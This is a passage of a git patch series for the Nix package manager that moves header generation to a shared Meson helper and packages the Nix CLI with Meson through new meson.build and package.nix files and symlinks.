-    command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ],
-    input : header,
-    output : '@PLAINNAME@.gen.hh',
-  )
+  generated_headers += gen_header.process(header)
 endforeach
 
-
 sources = files(
   'attr-path.cc',
   'attr-set.cc',
diff --git a/src/libexpr/primops/meson.build b/src/libexpr/primops/meson.build
index 96a1dd07ecf..f910fe23768 100644
--- a/src/libexpr/primops/meson.build
+++ b/src/libexpr/primops/meson.build
@@ -1,12 +1,7 @@
-foreach header : [
+generated_headers += gen_header.process(
   'derivation.nix',
-]
-  generated_headers += custom_target(
-    command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ],
-    input : header,
-    output : '@PLAINNAME@.gen.hh',
-  )
-endforeach
+  preserve_path_from: meson.project_source_root(),
+)
 
 sources += files(
   'context.cc',
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index 7444cba20b5..5324b2a1fd7 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -99,18 +99,14 @@ deps_public += nlohmann_json
 sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19')
 deps_private += sqlite
 
+subdir('build-utils-meson/generate-header')
+
 generated_headers = []
 foreach header : [
   'schema.sql',
   'ca-specific-schema.sql',
 ]
-  generated_headers += custom_target(
-    command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ],
-    input : header,
-    output : '@PLAINNAME@.gen.hh',
-    install : true,
-    install_dir : get_option('includedir') / 'nix',
-  )
+  generated_headers += gen_header.process(header)
 endforeach
 
 busybox = find_program(get_option('sandbox-shell'), required : false)

From 7a6269ba7b37a31bdc4b7ec539d45adf860f5623 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 5 Jul 2024 16:21:20 -0400
Subject: [PATCH 527/528] Package the Nix CLI with Meson

Co-Authored-By: Qyriad <qyriad@qyriad.me>
---
 meson.build                 |   3 +
 packaging/components.nix    |   3 +
 packaging/hydra.nix         |   1 +
 src/nix/.version            |   1 +
 src/nix/build-remote        |   1 +
 src/nix/build-utils-meson   |   1 +
 src/nix/doc                 |   1 +
 src/nix/help-stores.md      |   1 +
 src/nix/local.mk            |  21 ++---
 src/nix/main.cc             |   2 +-
 src/nix/meson.build         | 170 ++++++++++++++++++++++++++++++++++++
 src/nix/nix-build           |   1 +
 src/nix/nix-channel         |   1 +
 src/nix/nix-collect-garbage |   1 +
 src/nix/nix-copy-closure    |   1 +
 src/nix/nix-env             |   1 +
 src/nix/nix-instantiate     |   1 +
 src/nix/nix-store           |   1 +
 src/nix/package.nix         | 129 +++++++++++++++++++++++++++
 src/nix/profile.md          |   2 +-
 src/nix/profiles.md         |   1 +
 21 files changed, 326 insertions(+), 18 deletions(-)
 create mode 120000 src/nix/.version
 create mode 120000 src/nix/build-remote
 create mode 120000 src/nix/build-utils-meson
 create mode 120000 src/nix/doc
 create mode 120000 src/nix/help-stores.md
 create mode 100644 src/nix/meson.build
 create mode 120000 src/nix/nix-build
 create mode 120000 src/nix/nix-channel
 create mode 120000 src/nix/nix-collect-garbage
 create mode 120000 src/nix/nix-copy-closure
 create mode 120000 src/nix/nix-env
 create mode 120000 src/nix/nix-instantiate
 create mode 120000 src/nix/nix-store
 create mode 100644 src/nix/package.nix
 create mode 120000 src/nix/profiles.md

diff --git a/meson.build b/meson.build
index f09998ab6d6..e6bdc2eac30 100644
--- a/meson.build
+++ b/meson.build
@@ -15,6 +15,9 @@ subproject('libflake')
 subproject('libmain')
 subproject('libcmd')
 
+# Executables
+subproject('nix')
+
 # Docs
 subproject('internal-api-docs')
 subproject('external-api-docs')
diff --git a/packaging/components.nix b/packaging/components.nix
index f1cd3b9c6d3..0e369a055cd 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -32,6 +32,9 @@ in
 
   nix-cmd = callPackage ../src/libcmd/package.nix { };
 
+  # Will replace `nix` once the old build system is gone.
+  nix-ng = callPackage ../src/nix/package.nix { };
+
   nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { };
   nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { };
 
diff --git a/packaging/hydra.nix b/packaging/hydra.nix
index 0bbbc31f77b..4dfaf9bbfaa 100644
--- a/packaging/hydra.nix
+++ b/packaging/hydra.nix
@@ -53,6 +53,7 @@ let
     "nix-flake-tests"
     "nix-main"
     "nix-cmd"
+    "nix-ng"
   ];
 in
 {
diff --git a/src/nix/.version b/src/nix/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/nix/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/nix/build-remote b/src/nix/build-remote
new file mode 120000
index 00000000000..2cea44d46c2
--- /dev/null
+++ b/src/nix/build-remote
@@ -0,0 +1 @@
+../build-remote
\ No newline at end of file
diff --git a/src/nix/build-utils-meson b/src/nix/build-utils-meson
new file mode 120000
index 00000000000..91937f18372
--- /dev/null
+++ b/src/nix/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson/
\ No newline at end of file
diff --git a/src/nix/doc b/src/nix/doc
new file mode 120000
index 00000000000..7e57b0f5825
--- /dev/null
+++ b/src/nix/doc
@@ -0,0 +1 @@
+../../doc
\ No newline at end of file
diff --git a/src/nix/help-stores.md b/src/nix/help-stores.md
new file mode 120000
index 00000000000..5c5624f5ecf
--- /dev/null
+++ b/src/nix/help-stores.md
@@ -0,0 +1 @@
+../../doc/manual/src/store/types/index.md.in
\ No newline at end of file
diff --git a/src/nix/local.mk b/src/nix/local.mk
index 4b61173300a..28b30b58619 100644
--- a/src/nix/local.mk
+++ b/src/nix/local.mk
@@ -42,27 +42,16 @@ $(eval $(call install-symlink, $(bindir)/nix, $(libexecdir)/nix/build-remote))
 
 src/nix-env/user-env.cc: src/nix-env/buildenv.nix.gen.hh
 
-src/nix/develop.cc: src/nix/get-env.sh.gen.hh
+$(d)/develop.cc: $(d)/get-env.sh.gen.hh
 
 src/nix-channel/nix-channel.cc: src/nix-channel/unpack-channel.nix.gen.hh
 
-src/nix/main.cc: \
+$(d)/main.cc: \
   doc/manual/generate-manpage.nix.gen.hh \
   doc/manual/utils.nix.gen.hh doc/manual/generate-settings.nix.gen.hh \
   doc/manual/generate-store-info.nix.gen.hh \
-  src/nix/generated-doc/help-stores.md
+  $(d)/help-stores.md.gen.hh
 
-src/nix/generated-doc/files/%.md: doc/manual/src/command-ref/files/%.md
-	@mkdir -p $$(dirname $@)
-	@cp $< $@
+$(d)/profile.cc: $(d)/profile.md
 
-src/nix/profile.cc: src/nix/profile.md src/nix/generated-doc/files/profiles.md.gen.hh
-
-src/nix/generated-doc/help-stores.md: doc/manual/src/store/types/index.md.in
-	@mkdir -p $$(dirname $@)
-	@echo 'R"(' >> $@.tmp
-	@echo >> $@.tmp
-	@cat $^ >> $@.tmp
-	@echo >> $@.tmp
-	@echo ')"' >> $@.tmp
-	@mv $@.tmp $@
+$(d)/profile.md: $(d)/profiles.md.gen.hh
diff --git a/src/nix/main.cc b/src/nix/main.cc
index de6d89bd371..c90bb25a7d3 100644
--- a/src/nix/main.cc
+++ b/src/nix/main.cc
@@ -333,7 +333,7 @@ struct CmdHelpStores : Command
     std::string doc() override
     {
         return
-          #include "generated-doc/help-stores.md"
+          #include "help-stores.md.gen.hh"
           ;
     }
 
diff --git a/src/nix/meson.build b/src/nix/meson.build
new file mode 100644
index 00000000000..dd21c4b1bca
--- /dev/null
+++ b/src/nix/meson.build
@@ -0,0 +1,170 @@
+project('nix', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+subdir('build-utils-meson/deps-lists')
+
+deps_private_maybe_subproject = [
+  dependency('nix-util'),
+  dependency('nix-store'),
+  dependency('nix-expr'),
+  dependency('nix-fetchers'),
+  dependency('nix-main'),
+  dependency('nix-cmd'),
+]
+deps_public_maybe_subproject = [
+]
+subdir('build-utils-meson/subprojects')
+
+subdir('build-utils-meson/export-all-symbols')
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+  '-include', 'config-expr.hh',
+  #'-include', 'config-fetchers.hh',
+  '-include', 'config-main.hh',
+  '-include', 'config-cmd.hh',
+  language : 'cpp',
+)
+
+subdir('build-utils-meson/diagnostics')
+subdir('build-utils-meson/generate-header')
+
+nix_sources = files(
+  'add-to-store.cc',
+  'app.cc',
+  'build.cc',
+  'bundle.cc',
+  'cat.cc',
+  'config-check.cc',
+  'config.cc',
+  'copy.cc',
+  'derivation-add.cc',
+  'derivation-show.cc',
+  'derivation.cc',
+  'develop.cc',
+  'diff-closures.cc',
+  'dump-path.cc',
+  'edit.cc',
+  'env.cc',
+  'eval.cc',
+  'flake.cc',
+  'fmt.cc',
+  'hash.cc',
+  'log.cc',
+  'ls.cc',
+  'main.cc',
+  'make-content-addressed.cc',
+  'nar.cc',
+  'optimise-store.cc',
+  'path-from-hash-part.cc',
+  'path-info.cc',
+  'prefetch.cc',
+  'profile.cc',
+  'realisation.cc',
+  'registry.cc',
+  'repl.cc',
+  'run.cc',
+  'search.cc',
+  'sigs.cc',
+  'store-copy-log.cc',
+  'store-delete.cc',
+  'store-gc.cc',
+  'store-info.cc',
+  'store-repair.cc',
+  'store.cc',
+  'unix/daemon.cc',
+  'upgrade-nix.cc',
+  'verify.cc',
+  'why-depends.cc',
+)
+
+nix_sources += [
+  gen_header.process('doc/manual/generate-manpage.nix'),
+  gen_header.process('doc/manual/generate-settings.nix'),
+  gen_header.process('doc/manual/generate-store-info.nix'),
+  gen_header.process('doc/manual/utils.nix'),
+  gen_header.process('get-env.sh'),
+  gen_header.process('profiles.md'),
+  gen_header.process('help-stores.md'),
+]
+
+if host_machine.system() != 'windows'
+  nix_sources += files(
+    'unix/daemon.cc',
+  )
+endif
+
+# The rest of the subdirectories aren't separate components,
+# just source files in another directory, so we process them here.
+
+build_remote_sources = files(
+  'build-remote/build-remote.cc',
+)
+nix_build_sources = files(
+  'nix-build/nix-build.cc',
+)
+nix_channel_sources = files(
+  'nix-channel/nix-channel.cc',
+)
+unpack_channel_gen = gen_header.process('nix-channel/unpack-channel.nix')
+nix_collect_garbage_sources = files(
+  'nix-collect-garbage/nix-collect-garbage.cc',
+)
+nix_copy_closure_sources = files(
+  'nix-copy-closure/nix-copy-closure.cc',
+)
+nix_env_buildenv_gen = gen_header.process('nix-env/buildenv.nix')
+nix_env_sources = files(
+  'nix-env/nix-env.cc',
+  'nix-env/user-env.cc',
+)
+nix_instantiate_sources = files(
+  'nix-instantiate/nix-instantiate.cc',
+)
+nix_store_sources = files(
+  'nix-store/dotgraph.cc',
+  'nix-store/graphml.cc',
+  'nix-store/nix-store.cc',
+)
+
+# Hurray for Meson list flattening!
+sources = [
+  nix_sources,
+  build_remote_sources,
+  nix_build_sources,
+  nix_channel_sources,
+  unpack_channel_gen,
+  nix_collect_garbage_sources,
+  nix_copy_closure_sources,
+  nix_env_buildenv_gen,
+  nix_env_sources,
+  nix_instantiate_sources,
+  nix_store_sources,
+]
+
+include_dirs = [include_directories('.')]
+
+this_exe = executable(
+  meson.project_name(),
+  sources,
+  dependencies : deps_private_subproject + deps_private + deps_other,
+  include_directories : include_dirs,
+  link_args: linker_export_flags,
+  install : true,
+)
diff --git a/src/nix/nix-build b/src/nix/nix-build
new file mode 120000
index 00000000000..2954d8ac7a9
--- /dev/null
+++ b/src/nix/nix-build
@@ -0,0 +1 @@
+../nix-build
\ No newline at end of file
diff --git a/src/nix/nix-channel b/src/nix/nix-channel
new file mode 120000
index 00000000000..29b75947369
--- /dev/null
+++ b/src/nix/nix-channel
@@ -0,0 +1 @@
+../nix-channel
\ No newline at end of file
diff --git a/src/nix/nix-collect-garbage b/src/nix/nix-collect-garbage
new file mode 120000
index 00000000000..b037fc1b03f
--- /dev/null
+++ b/src/nix/nix-collect-garbage
@@ -0,0 +1 @@
+../nix-collect-garbage
\ No newline at end of file
diff --git a/src/nix/nix-copy-closure b/src/nix/nix-copy-closure
new file mode 120000
index 00000000000..9063c583ad6
--- /dev/null
+++ b/src/nix/nix-copy-closure
@@ -0,0 +1 @@
+../nix-copy-closure
\ No newline at end of file
diff --git a/src/nix/nix-env b/src/nix/nix-env
new file mode 120000
index 00000000000..f2f19f58091
--- /dev/null
+++ b/src/nix/nix-env
@@ -0,0 +1 @@
+../nix-env
\ No newline at end of file
diff --git a/src/nix/nix-instantiate b/src/nix/nix-instantiate
new file mode 120000
index 00000000000..2d7502ffa2e
--- /dev/null
+++ b/src/nix/nix-instantiate
@@ -0,0 +1 @@
+../nix-instantiate
\ No newline at end of file
diff --git a/src/nix/nix-store b/src/nix/nix-store
new file mode 120000
index 00000000000..e6efcac42c3
--- /dev/null
+++ b/src/nix/nix-store
@@ -0,0 +1 @@
+../nix-store/
\ No newline at end of file
diff --git a/src/nix/package.nix b/src/nix/package.nix
new file mode 100644
index 00000000000..fe83c6969d3
--- /dev/null
+++ b/src/nix/package.nix
@@ -0,0 +1,129 @@
+{ lib
+, stdenv
+, mkMesonDerivation
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-store
+, nix-expr
+, nix-main
+, nix-cmd
+
+, rapidcheck
+, gtest
+, runCommand
+
+# Configuration Options
+
+, version
+}:
+
+let
+  inherit (lib) fileset;
+in
+
+mkMesonDerivation (finalAttrs: {
+  pname = "nix";
+  inherit version;
+
+  workDir = ./.;
+  fileset = fileset.unions ([
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+
+    # Symbolic links to other dirs
+    ./build-remote
+    ./doc
+    ./nix-build
+    ./nix-channel
+    ./nix-collect-garbage
+    ./nix-copy-closure
+    ./nix-env
+    ./nix-instantiate
+    ./nix-store
+
+    # Doc nix files for --help
+    ../../doc/manual/generate-manpage.nix
+    ../../doc/manual/utils.nix
+    ../../doc/manual/generate-settings.nix
+    ../../doc/manual/generate-store-info.nix
+
+    # Other files to be included as string literals
+    ../nix-channel/unpack-channel.nix
+    ../nix-env/buildenv.nix
+    ./get-env.sh
+    ./help-stores.md
+    ../../doc/manual/src/store/types/index.md.in
+    ./profiles.md
+    ../../doc/manual/src/command-ref/files/profiles.md
+
+    # Files
+  ] ++ lib.concatMap
+    (dir: [
+      (fileset.fileFilter (file: file.hasExt "cc") dir)
+      (fileset.fileFilter (file: file.hasExt "hh") dir)
+      (fileset.fileFilter (file: file.hasExt "md") dir)
+    ])
+    [
+      ./.
+      ../build-remote
+      ../nix-build
+      ../nix-channel
+      ../nix-collect-garbage
+      ../nix-copy-closure
+      ../nix-env
+      ../nix-instantiate
+      ../nix-store
+    ]
+  );
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    nix-store
+    nix-expr
+    nix-main
+    nix-cmd
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
+    ''
+      chmod u+w ./.version
+      echo ${version} > ../../../.version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  strictDeps = true;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+})
diff --git a/src/nix/profile.md b/src/nix/profile.md
index 9b2f86f4ac6..83a0b5f2991 100644
--- a/src/nix/profile.md
+++ b/src/nix/profile.md
@@ -11,7 +11,7 @@ them to be rolled back easily.
 
 )""
 
-#include "generated-doc/files/profiles.md.gen.hh"
+#include "profiles.md.gen.hh"
 
 R""(
 
diff --git a/src/nix/profiles.md b/src/nix/profiles.md
new file mode 120000
index 00000000000..c67a86194c0
--- /dev/null
+++ b/src/nix/profiles.md
@@ -0,0 +1 @@
+../../doc/manual/src/command-ref/files/profiles.md
\ No newline at end of file

From 4c788504fa8a3153e79d5080cf23fdc5204035bc Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 9 Jul 2024 16:44:01 +0200
Subject: [PATCH 528/528] Remove reference to check-hydra-status

---
 maintainers/flake-module.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 8f95e788bec..46b3e136324 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -499,7 +499,6 @@
             ''^misc/bash/completion\.sh$''
             ''^misc/fish/completion\.fish$''
             ''^misc/zsh/completion\.zsh$''
-            ''^scripts/check-hydra-status\.sh$''
             ''^scripts/create-darwin-volume\.sh$''
             ''^scripts/install-darwin-multi-user\.sh$''
             ''^scripts/install-multi-user\.sh$''